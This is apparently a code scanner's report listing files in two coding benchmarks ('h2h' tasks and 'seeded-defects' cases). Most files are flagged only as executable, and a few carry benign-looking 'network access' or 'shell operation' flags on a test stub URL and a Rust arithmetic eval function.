benchmarks/h2h/sequences/go-mathx-registry/steps/s1/solution/mathx/registry.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/go-mathx-registry/steps/s2/hidden/lcm_hidden_test.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/go-mathx-registry/steps/s2/solution/mathx/mathx.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/go-mathx-registry/steps/s2/solution/mathx/registry.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/go-mathx-registry/steps/s3/hidden/prime_hidden_test.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/go-mathx-registry/steps/s3/solution/mathx/mathx.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/go-mathx-registry/steps/s3/solution/mathx/registry.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/go-mathx-registry/steps/s4/hidden/pow_hidden_test.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/go-mathx-registry/steps/s4/solution/mathx/mathx.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/go-mathx-registry/steps/s4/solution/mathx/registry.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-report-formats/repo/reports/__init__.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-report-formats/repo/reports/exporters/__init__.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-report-formats/repo/reports/exporters/text_exporter.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-report-formats/repo/reports/summary.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-report-formats/repo/tests/test_reports.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-report-formats/steps/s1/hidden/test_csv_hidden.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-report-formats/steps/s1/solution/reports/exporters/csv_exporter.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-report-formats/steps/s2/hidden/test_json_hidden.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-report-formats/steps/s2/solution/reports/exporters/json_exporter.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-report-formats/steps/s3/hidden/test_markdown_hidden.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-report-formats/steps/s3/solution/reports/exporters/__init__.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-report-formats/steps/s3/solution/reports/exporters/markdown_exporter.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-textkit-doctest/repo/tests/test_conventions.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-textkit-doctest/repo/tests/test_transforms.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-textkit-doctest/repo/textkit/__init__.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-textkit-doctest/repo/textkit/transforms.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-textkit-doctest/steps/s1/hidden/test_truncate_hidden.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-textkit-doctest/steps/s1/solution/textkit/transforms.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-textkit-doctest/steps/s2/hidden/test_snake_hidden.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-textkit-doctest/steps/s2/solution/textkit/transforms.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-textkit-doctest/steps/s3/hidden/test_accents_hidden.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-textkit-doctest/steps/s3/solution/textkit/transforms.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-textkit-doctest/steps/s4/hidden/test_wrap_hidden.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-textkit-doctest/steps/s4/solution/textkit/transforms.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-unit-registry/repo/tests/test_conventions.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-unit-registry/repo/tests/test_converters.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-unit-registry/repo/units/__init__.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-unit-registry/repo/units/converters.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-unit-registry/repo/units/registry.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-unit-registry/steps/s1/hidden/test_celsius_hidden.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-unit-registry/steps/s1/solution/units/converters.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-unit-registry/steps/s1/solution/units/registry.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-unit-registry/steps/s2/hidden/test_km_hidden.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-unit-registry/steps/s2/solution/units/converters.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-unit-registry/steps/s2/solution/units/registry.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-unit-registry/steps/s3/hidden/test_kg_hidden.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-unit-registry/steps/s3/solution/units/converters.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-unit-registry/steps/s3/solution/units/registry.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-unit-registry/steps/s4/hidden/test_liters_hidden.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-unit-registry/steps/s4/solution/units/converters.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-unit-registry/steps/s4/solution/units/registry.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-validators/repo/forms/__init__.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-validators/repo/forms/errors.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-validators/repo/forms/validators.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-validators/repo/tests/test_validators.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-validators/steps/s1/hidden/test_email_hidden.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-validators/steps/s1/solution/forms/validators.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-validators/steps/s2/hidden/test_phone_hidden.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-validators/steps/s2/solution/forms/validators.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-validators/steps/s3/hidden/test_form_hidden.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/py-validators/steps/s3/solution/forms/validators.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/ts-format-catalog/repo/package.json

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/ts-format-catalog/repo/src/catalog.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/ts-format-catalog/repo/src/format.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/ts-format-catalog/repo/src/guard.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/ts-format-catalog/repo/test/conventions.test.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/ts-format-catalog/repo/test/format.test.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/ts-format-catalog/steps/s1/hidden/duration.hidden.test.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/ts-format-catalog/steps/s1/solution/src/catalog.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/ts-format-catalog/steps/s1/solution/src/format.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/ts-format-catalog/steps/s2/hidden/ordinal.hidden.test.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/ts-format-catalog/steps/s2/solution/src/catalog.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/ts-format-catalog/steps/s2/solution/src/format.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/ts-format-catalog/steps/s3/hidden/compact.hidden.test.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/ts-format-catalog/steps/s3/solution/src/catalog.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/ts-format-catalog/steps/s3/solution/src/format.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/ts-format-catalog/steps/s4/hidden/currency.hidden.test.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/ts-format-catalog/steps/s4/solution/src/catalog.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/ts-format-catalog/steps/s4/solution/src/format.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/ts-pricing-rules/repo/package.json

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/ts-pricing-rules/repo/src/cart.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/ts-pricing-rules/repo/src/pricing.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/ts-pricing-rules/repo/src/rules/bulkDiscount.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/ts-pricing-rules/repo/src/rules/types.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/ts-pricing-rules/repo/test/pricing.test.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/ts-pricing-rules/steps/s1/hidden/percentOff.hidden.test.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/ts-pricing-rules/steps/s1/solution/src/rules/percentOff.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/ts-pricing-rules/steps/s2/hidden/buyXGetY.hidden.test.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/ts-pricing-rules/steps/s2/solution/src/rules/buyXGetY.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/ts-pricing-rules/steps/s3/hidden/registry.hidden.test.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/ts-pricing-rules/steps/s3/solution/src/rules/index.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/ts-pricing-rules/steps/s3/solution/src/rules/threshold.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/go-bank-transfer/hidden/h2h_hidden_test.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/go-bank-transfer/repo/account/account.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/go-bank-transfer/repo/ledger/ledger.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/go-bank-transfer/repo/tests/visible_test.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/go-bank-transfer/solution/account/account.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/go-bank-transfer/solution/ledger/ledger.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/go-config-merge/hidden/h2h_hidden_test.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/go-config-merge/repo/config/env.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/go-config-merge/repo/config/file.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/go-config-merge/repo/config/merge.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/go-config-merge/repo/server/server.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/go-config-merge/repo/tests/visible_test.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/go-config-merge/solution/config/env.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/go-config-merge/solution/config/file.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/go-config-merge/solution/config/merge.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/go-ratelimit/hidden/h2h_hidden_test.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/go-ratelimit/repo/ratelimit/window.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/go-ratelimit/repo/tests/visible_test.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/go-ratelimit/solution/ratelimit/bucket.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/go-store-refactor/hidden/h2h_hidden_test.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/go-store-refactor/repo/notes/format.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/go-store-refactor/repo/notes/handlers.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/go-store-refactor/repo/notes/store.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/go-store-refactor/repo/tests/visible_test.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/go-store-refactor/solution/notes/handlers.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/go-store-refactor/solution/notes/store.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/go-topo-schedule/hidden/h2h_hidden_test.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/go-topo-schedule/repo/sched/graph.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/go-topo-schedule/repo/tests/visible_test.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/go-topo-schedule/solution/sched/plan.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/go-wordfreq-tokenize/hidden/h2h_hidden_test.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/go-wordfreq-tokenize/repo/tests/visible_test.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/go-wordfreq-tokenize/repo/wordfreq/count.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/go-wordfreq-tokenize/repo/wordfreq/tokenize.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/go-wordfreq-tokenize/solution/wordfreq/count.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/go-wordfreq-tokenize/solution/wordfreq/tokenize.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-cache-ttl/hidden/test_cache_hidden.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-cache-ttl/repo/cachelib/__init__.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-cache-ttl/repo/cachelib/cache.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-cache-ttl/repo/tests/test_cache.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-cache-ttl/solution/cachelib/cache.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-csv-quotes/hidden/test_parser_hidden.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-csv-quotes/repo/csvlite/__init__.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-csv-quotes/repo/csvlite/parser.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-csv-quotes/repo/tests/test_parser.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-csv-quotes/solution/csvlite/parser.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-invoice-rounding/hidden/test_invoice_hidden.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-invoice-rounding/repo/billing/__init__.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-invoice-rounding/repo/billing/invoice.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-invoice-rounding/repo/billing/money.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-invoice-rounding/repo/billing/tax.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-invoice-rounding/repo/tests/test_invoice.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-invoice-rounding/solution/billing/money.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-invoice-rounding/solution/billing/tax.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-retry-decorator/hidden/test_retry_hidden.py

  • Executable scriptline 1
    Executable file
  • Network accessline 133
    assert fetch_json("http://x", flaky, sleep=sleep) == {"n": 1}
  • Network accessline 145
    with pytest.raises(TransientError):         fetch_json("http://x", down, sleep=sleep)
  • Network accessline 146
    fetch_json("http://x", down, sleep=sleep)
  • Network accessline 158
    with pytest.raises(ValueError):         fetch_json("http://x", broken, sleep=lambda s: None)
  • Network accessline 159
    fetch_json("http://x", broken, sleep=lambda s: None)

benchmarks/h2h/tasks/py-retry-decorator/repo/netutil/__init__.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-retry-decorator/repo/netutil/http.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-retry-decorator/repo/tests/test_http.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-retry-decorator/solution/netutil/http.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-retry-decorator/solution/netutil/retry.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-semver-range/hidden/test_range_hidden.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-semver-range/repo/semverlite/__init__.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-semver-range/repo/semverlite/version.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-semver-range/repo/tests/test_version.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-semver-range/solution/semverlite/range.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-todo-json/hidden/test_cli_hidden.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-todo-json/repo/tests/test_cli.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-todo-json/repo/todo/__init__.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-todo-json/repo/todo/cli.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-todo-json/repo/todo/models.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-todo-json/repo/todo/report.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-todo-json/repo/todo/store.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-todo-json/solution/todo/cli.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/py-todo-json/solution/todo/report.py

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/rs-expr-eval/hidden/h2h_hidden.rs

  • Dangerous shell operationline 5
    eval(s, &HashMap::new())
  • Dangerous shell operationline 10
    eval(s, &map)

benchmarks/h2h/tasks/rs-expr-eval/repo/src/expr.rs

  • Dangerous shell operationline 15
    pub fn eval(input: &str, _vars: &HashMap<String, f64>) -> Result<f64, EvalError> {

benchmarks/h2h/tasks/rs-expr-eval/repo/tests/visible.rs

  • Dangerous shell operationline 5
    eval(s, &HashMap::new())

benchmarks/h2h/tasks/rs-expr-eval/solution/src/expr.rs

  • Dangerous shell operationline 317
    pub fn eval(input: &str, vars: &HashMap<String, f64>) -> Result<f64, EvalError> {

benchmarks/h2h/tasks/rs-expr-eval/task.txt

  • Dangerous shell operationline 1
    Extend exprkit::eval(input: &str, vars: &HashMap<String, f64>) -> Result<f64, EvalError> in src/expr.rs, which today only handles integers joined by + and -, into a full arithmetic evaluator with functions and implicit multiplication. Keep 

benchmarks/h2h/tasks/ts-cart-discounts/hidden/cart.hidden.test.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-cart-discounts/repo/package.json

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-cart-discounts/repo/src/cart.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-cart-discounts/repo/src/checkout.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-cart-discounts/repo/test/cart.test.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-cart-discounts/solution/src/cart.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-cart-discounts/solution/src/checkout.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-cart-discounts/solution/src/discounts.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-cron-next/hidden/cron.hidden.test.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-cron-next/repo/package.json

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-cron-next/repo/src/jobs.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-cron-next/repo/test/jobs.test.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-cron-next/solution/src/cron.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-duration-fix/hidden/duration.hidden.test.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-duration-fix/repo/package.json

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-duration-fix/repo/src/duration.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-duration-fix/repo/src/job.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-duration-fix/repo/test/duration.test.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-duration-fix/solution/src/duration.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-order-currency/hidden/orders.hidden.test.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-order-currency/repo/package.json

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-order-currency/repo/src/export.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-order-currency/repo/src/format.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-order-currency/repo/src/report.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-order-currency/repo/src/types.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-order-currency/repo/test/orders.test.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-order-currency/solution/src/export.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-order-currency/solution/src/format.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-order-currency/solution/src/report.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-order-currency/solution/src/types.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-paginate-fix/hidden/paginate.hidden.test.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-paginate-fix/repo/package.json

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-paginate-fix/repo/src/paginate.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-paginate-fix/repo/src/users.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-paginate-fix/repo/test/paginate.test.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-paginate-fix/solution/src/paginate.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-validate-refactor/hidden/accounts.hidden.test.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-validate-refactor/repo/package.json

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-validate-refactor/repo/src/invite.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-validate-refactor/repo/src/profile.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-validate-refactor/repo/src/signup.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-validate-refactor/repo/test/accounts.test.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-validate-refactor/solution/src/invite.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-validate-refactor/solution/src/profile.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-validate-refactor/solution/src/signup.ts

  • Executable scriptline 1
    Executable file

benchmarks/h2h/tasks/ts-validate-refactor/solution/src/validate.ts

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0001/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0001/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0001/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0002/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0002/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0002/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0003/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0003/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0003/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0004/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0004/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0004/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0005/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0005/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0005/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0006/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0006/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0006/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0007/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0007/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0007/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0008/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0008/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0008/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0009/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0009/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0009/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0010/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0010/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0010/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0011/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0011/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0011/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0012/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0012/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0012/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0013/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0013/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0013/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0014/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0014/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0014/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0015/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0015/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0015/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0016/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0016/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0016/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0017/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0017/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0017/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0018/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0018/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0018/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0019/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0019/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0019/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0020/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0020/src.py

  • Executable scriptline 1
    Executable file

